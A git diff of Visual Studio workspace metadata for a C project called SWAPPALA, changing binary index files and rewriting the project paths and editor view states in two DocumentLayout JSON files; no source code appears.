diff --git a/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/CodeChunks.db b/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/CodeChunks.db index 4d07158..ea5d8a8 100644 Binary files a/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/CodeChunks.db and b/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/CodeChunks.db differ diff --git a/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db b/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db index 4e3731e..35e078c 100644 Binary files a/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db and b/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db differ diff --git a/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-shm b/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-shm index 7e24293..01e29fc 100644 Binary files a/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-shm and b/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-shm differ diff --git a/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-wal b/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-wal index 2a86d78..c837b8b 100644 Binary files a/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-wal and b/SWAPPALA/.vs/SWAPPALA/CopilotIndices/17.12.38.29086/SemanticSymbols.db-wal differ diff --git a/SWAPPALA/.vs/SWAPPALA/FileContentIndex/2c04c157-5e87-4e86-aff3-59c13d0dae97.vsidx b/SWAPPALA/.vs/SWAPPALA/FileContentIndex/2c04c157-5e87-4e86-aff3-59c13d0dae97.vsidx deleted file mode 100644 index a293e04..0000000 Binary files a/SWAPPALA/.vs/SWAPPALA/FileContentIndex/2c04c157-5e87-4e86-aff3-59c13d0dae97.vsidx and /dev/null differ diff --git a/SWAPPALA/.vs/SWAPPALA/FileContentIndex/b3b5ba94-22a0-4956-ae09-296bb1136f28.vsidx b/SWAPPALA/.vs/SWAPPALA/FileContentIndex/b3b5ba94-22a0-4956-ae09-296bb1136f28.vsidx new file mode 100644 index 0000000..6931286 Binary files /dev/null and b/SWAPPALA/.vs/SWAPPALA/FileContentIndex/b3b5ba94-22a0-4956-ae09-296bb1136f28.vsidx differ diff --git a/SWAPPALA/.vs/SWAPPALA/FileContentIndex/af928073-e964-4470-8806-45710c374aeb.vsidx b/SWAPPALA/.vs/SWAPPALA/FileContentIndex/b6141abb-79e1-48fe-9936-cab837553361.vsidx similarity index 100% rename from SWAPPALA/.vs/SWAPPALA/FileContentIndex/af928073-e964-4470-8806-45710c374aeb.vsidx rename to SWAPPALA/.vs/SWAPPALA/FileContentIndex/b6141abb-79e1-48fe-9936-cab837553361.vsidx diff --git a/SWAPPALA/.vs/SWAPPALA/v17/.suo b/SWAPPALA/.vs/SWAPPALA/v17/.suo index a4eb0cb..7866afd 100644 Binary files a/SWAPPALA/.vs/SWAPPALA/v17/.suo and b/SWAPPALA/.vs/SWAPPALA/v17/.suo differ diff --git a/SWAPPALA/.vs/SWAPPALA/v17/Browse.VC.db b/SWAPPALA/.vs/SWAPPALA/v17/Browse.VC.db index c12cdea..ee79612 100644 Binary files a/SWAPPALA/.vs/SWAPPALA/v17/Browse.VC.db and b/SWAPPALA/.vs/SWAPPALA/v17/Browse.VC.db differ diff --git a/SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.backup.json b/SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.backup.json index a5372ab..221ffb1 100644 --- a/SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.backup.json +++ b/SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.backup.json @@ -1,41 +1,41 @@ { "Version": 1, - "WorkspaceRootPath": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\", + "WorkspaceRootPath": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\", "Documents": [ { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" } ], @@ -52,11 +52,11 @@ "$type": "Document", "DocumentIndex": 1, "Title": "swappala.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h", "RelativeDocumentMoniker": "swappala.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h", "RelativeToolTip": "swappala.h", - "ViewState": "AgIAAAAAAAAAAAAAAAAAAE8CAAA3AAAAAAAAAA==", + "ViewState": "AgIAABcCAAAAAAAAAAAQwGcCAAAJAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", "WhenOpened": "2024-05-27T16:00:30.889Z", "EditorCaption": "" @@ -65,9 +65,9 @@ "$type": "Document", "DocumentIndex": 7, "Title": "misc.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h", "RelativeDocumentMoniker": "misc.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h", "RelativeToolTip": "misc.h", "ViewState": "AQIAADoAAAAAAAAAAAAuwFMAAAABAAAA", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -77,9 +77,9 @@ "$type": "Document", "DocumentIndex": 3, "Title": "HBP.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h", "RelativeDocumentMoniker": "HBP.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h", "RelativeToolTip": "HBP.h", "ViewState": "AgIAAGwAAAAAAAAAAAAAAC0AAAAAAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -89,9 +89,9 @@ "$type": "Document", "DocumentIndex": 6, "Title": "syscalls.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h", "RelativeDocumentMoniker": "syscalls.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h", "RelativeToolTip": "syscalls.h", "ViewState": "AQIAABYBAAAAAAAAAAAqwCkBAAAbAAAA", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -101,11 +101,11 @@ "$type": "Document", "DocumentIndex": 0, "Title": "SWAPPALA.c", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c", "RelativeDocumentMoniker": "SWAPPALA.c", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c", "RelativeToolTip": "SWAPPALA.c", - "ViewState": "AgIAAHwAAAAAAAAAAAAcwJIAAAAfAAAAAAAAAA==", + "ViewState": "AgIAAFYAAAAAAAAAAAAkwHcAAAAWAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000423|", "WhenOpened": "2024-05-27T15:40:42.524Z", "EditorCaption": "" @@ -114,11 +114,11 @@ "$type": "Document", "DocumentIndex": 2, "Title": "headers.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h", "RelativeDocumentMoniker": "headers.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h", "RelativeToolTip": "headers.h", - "ViewState": "AgIAAAAAAAAAAAAAAAAAAAUAAAAAAAAAAAAAAA==", + "ViewState": "AgIAAGABAAAAAAAAAAAkwHUBAAAPAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", "WhenOpened": "2024-05-27T15:59:17.84Z", "EditorCaption": "" @@ -127,9 +127,9 @@ "$type": "Document", "DocumentIndex": 8, "Title": "globals.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h", "RelativeDocumentMoniker": "globals.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h", "RelativeToolTip": "globals.h", "ViewState": "AQIAAAAAAAAAAAAAAAAAAAQAAAAAAAAA", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -139,9 +139,9 @@ "$type": "Document", "DocumentIndex": 4, "Title": "handlesenum.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h", "RelativeDocumentMoniker": "handlesenum.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h", "RelativeToolTip": "handlesenum.h", "ViewState": "AgIAAMkAAAAAAAAAAAAAAAgAAAAYAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -151,9 +151,9 @@ "$type": "Document", "DocumentIndex": 5, "Title": "syscalls.asm", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm", "RelativeDocumentMoniker": "syscalls.asm", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm", "RelativeToolTip": "syscalls.asm", "ViewState": "AQIAAD4AAAAAAAAAAAAWwEUAAAAAAAAA", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001001|", diff --git a/SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.json b/SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.json index 15249b8..7853cf5 100644 --- a/SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.json +++ b/SWAPPALA/.vs/SWAPPALA/v17/DocumentLayout.json @@ -1,41 +1,41 @@ { "Version": 1, - "WorkspaceRootPath": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\", + "WorkspaceRootPath": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\", "Documents": [ { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:SWAPPALA.c||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:swappala.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:headers.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:HBP.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:handlesenum.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:syscalls.asm||{8B382828-6202-11D1-8870-0000F87579D2}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:Syscalls.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:misc.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" }, { - "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "AbsoluteMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", "RelativeMoniker": "D:0:0:{E0435E94-605D-4CB2-AAC6-805ECD5CED43}|SWAPPALA.vcxproj|solutionrelative:globals.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" } ], @@ -52,11 +52,11 @@ "$type": "Document", "DocumentIndex": 1, "Title": "swappala.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h", "RelativeDocumentMoniker": "swappala.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\swappala.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\swappala.h", "RelativeToolTip": "swappala.h", - "ViewState": "AgIAAAAAAAAAAAAAAAAAAE8CAAA3AAAAAAAAAA==", + "ViewState": "AgIAABcCAAAAAAAAAAAQwGcCAAAJAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", "WhenOpened": "2024-05-27T16:00:30.889Z", "EditorCaption": "" @@ -65,9 +65,9 @@ "$type": "Document", "DocumentIndex": 7, "Title": "misc.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h", "RelativeDocumentMoniker": "misc.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\misc.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\misc.h", "RelativeToolTip": "misc.h", "ViewState": "AQIAADoAAAAAAAAAAAAuwFMAAAABAAAA", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -77,9 +77,9 @@ "$type": "Document", "DocumentIndex": 3, "Title": "HBP.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h", "RelativeDocumentMoniker": "HBP.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\HBP.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\HBP.h", "RelativeToolTip": "HBP.h", "ViewState": "AgIAAGwAAAAAAAAAAAAAAC0AAAAAAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -89,9 +89,9 @@ "$type": "Document", "DocumentIndex": 6, "Title": "syscalls.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h", "RelativeDocumentMoniker": "syscalls.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.h", "RelativeToolTip": "syscalls.h", "ViewState": "AQIAABYBAAAAAAAAAAAqwCkBAAAbAAAA", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -101,11 +101,11 @@ "$type": "Document", "DocumentIndex": 0, "Title": "SWAPPALA.c", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c", "RelativeDocumentMoniker": "SWAPPALA.c", - "ToolTip": 